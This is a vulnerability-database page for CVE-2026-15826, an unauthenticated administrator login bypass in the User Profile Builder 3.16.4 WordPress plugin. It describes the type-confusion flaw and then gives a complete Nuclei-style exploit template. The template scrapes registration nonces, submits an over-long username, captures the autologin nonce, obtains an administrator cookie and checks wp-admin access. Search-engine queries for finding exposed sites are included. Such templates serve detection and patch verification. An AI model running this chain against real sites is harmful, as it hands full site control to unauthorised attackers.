CVE-2026-15826: User Profile Builder 3.16.4 - Unauthenticated Authentication Bypass

2026-08-19 User Profile Builder PoC Public

Description

The User Profile Builder plugin for WordPress version 3.16.4 is vulnerable to an authentication bypass via type confusion. Profile Builder's automatic-login-after-registration handler passes the return value of wp_insert_user() through absint() before testing it with is_wp_error(), so the error check runs against the already-coerced integer. A registration submitted with a 61-70 character username passes the plugin's own validation but is rejected by WordPress core, because the user_login column is VARCHAR(60), and wp_insert_user() returns a WP_Error object. absint() coerces that object to the integer 1, is_wp_error(1) is false, and the plugin binds a transient-backed autologin nonce to user ID 1. Consuming that nonce calls wp_set_auth_cookie(1) and logs the unauthenticated attacker in as the site's Administrator.

PoC

id: CVE-2026-15826

info:
  name: User Profile Builder 3.16.4 - Unauthenticated Authentication Bypass
  author: theamanrawat
  severity: critical
  description: |
    The User Profile Builder plugin for WordPress version 3.16.4 is vulnerable to an authentication bypass via type confusion. Profile Builder's automatic-login-after-registration handler passes the return value of wp_insert_user() through absint() before testing it with is_wp_error(), so the error check runs against the already-coerced integer. A registration submitted with a 61-70 character username passes the plugin's own validation but is rejected by WordPress core, because the user_login column is VARCHAR(60), and wp_insert_user() returns a WP_Error object. absint() coerces that object to the integer 1, is_wp_error(1) is false, and the plugin binds a transient-backed autologin nonce to user ID 1. Consuming that nonce calls wp_set_auth_cookie(1) and logs the unauthenticated attacker in as the site's Administrator.
  impact: |
    Unauthenticated attackers can log in as the site Administrator (user ID 1), gaining full administrative control including plugin and theme installation, PHP code execution, and complete site compromise.
  remediation: |
    Update User Profile Builder to 3.16.5 or later, which performs the is_wp_error() check before coercing the wp_insert_user() return value with absint() and additionally enforces the 60-character username limit server-side.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/9f606fba-f779-42ea-a160-6c3b20dc5e79
    - https://plugins.trac.wordpress.org/browser/profile-builder/tags/3.16.4/front-end/class-formbuilder.php#L262
    - https://plugins.trac.wordpress.org/browser/profile-builder/tags/3.16.4/features/functions.php#L1481
    - https://plugins.trac.wordpress.org/changeset/3609855/profile-builder
    - https://github.com/HORKimhab/CVE-2026-15826-CVE-2026-15748
    - https://nvd.nist.gov/vuln/detail/CVE-2026-15826
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-15826
    epss-score: 0.03911
    epss-percentile: 0.89763
    cwe-id: CWE-704
  metadata:
    verified: true
    max-request: 5
    vendor: cozmoslabs
    product: profile-builder
    framework: wordpress
    shodan-query: http.html:"/wp-content/plugins/profile-builder/"
    fofa-query: body="/wp-content/plugins/profile-builder/"
    publicwww-query: "/wp-content/plugins/profile-builder/"
  tags: cve,cve2026,wordpress,wp-plugin,wp,profile-builder,auth-bypass,unauth,intrusive,vkev

variables:
  username: "{{rand_base(63,'abcdefghijklmnopqrstuvwxyz')}}"
  email: "{{rand_base(10,'abcdefghijklmnopqrstuvwxyz')}}@{{rand_base(8,'abcdefghijklmnopqrstuvwxyz')}}.com"
  password: "{{rand_base(12,'abcdefghijklmnopqrstuvwxyz0123456789')}}Aa1!"

flow: http(1) && http(2) && http(3) && http(4) && http(5)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/profile-builder/readme.txt"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "Profile Builder")'
          - 'compare_versions(pb_version, ">= 3.16.4", "< 3.16.5")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: pb_version
        part: body
        group: 1
        regex:
          - '(?i)Stable\s+tag:\s*([0-9.]+)'
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/register/"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "wppb-register-user")'
          - 'len(wppb_nonce) > 0'
          - 'len(form_name) > 0'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: form_name
        part: body
        group: 1
        regex:
          - 'name="form_name"[^>]*value="([^"]*)"'
        internal: true

      - type: regex
        name: wppb_nonce
        part: body
        group: 1
        regex:
          - 'name="register_[^"]*_nonce_field"[^>]*value="([^"]+)"'
        internal: true

  - raw:
      - |
        POST /register/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Referer: {{RootURL}}/register/
        Origin: {{RootURL}}

        username={{username}}&email={{email}}&passw1={{password}}&passw2={{password}}&action=register&form_name={{form_name}}&register_{{form_name}}_nonce_field={{wppb_nonce}}&register=Register&_wp_http_referer=%2Fregister%2F

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "autologin=true")'
          - 'len(autologin_nonce) > 0'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: autologin_nonce
        part: body
        group: 1
        regex:
          - 'autologin=true(?:&(?:#0?38|amp);)?_wpnonce=([a-f0-9]+)'
        internal: true

  - raw:
      - |
        GET /register/?autologin=true&_wpnonce={{autologin_nonce}} HTTP/1.1
        Host: {{Hostname}}

    redirects: false

    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(all_headers), "set-cookie: wordpress_logged_in_")'
        internal: true

  - raw:
      - |
        GET /wp-admin/options-general.php HTTP/1.1
        Host: {{Hostname}}

    redirects: false

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "name=\"blogname\"")'
          - 'contains(body, "name=\"siteurl\"")'
        condition: and
# digest: 4a0a0047304502207442dad69da9847204282ecf12827df762107a677706fd655e3d2abd7e61290202210080a2131b3b72a273fa428ca946d094d198103dff5ddda4ff56dcb8b0cdb1f282:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

Related Vulnerabilities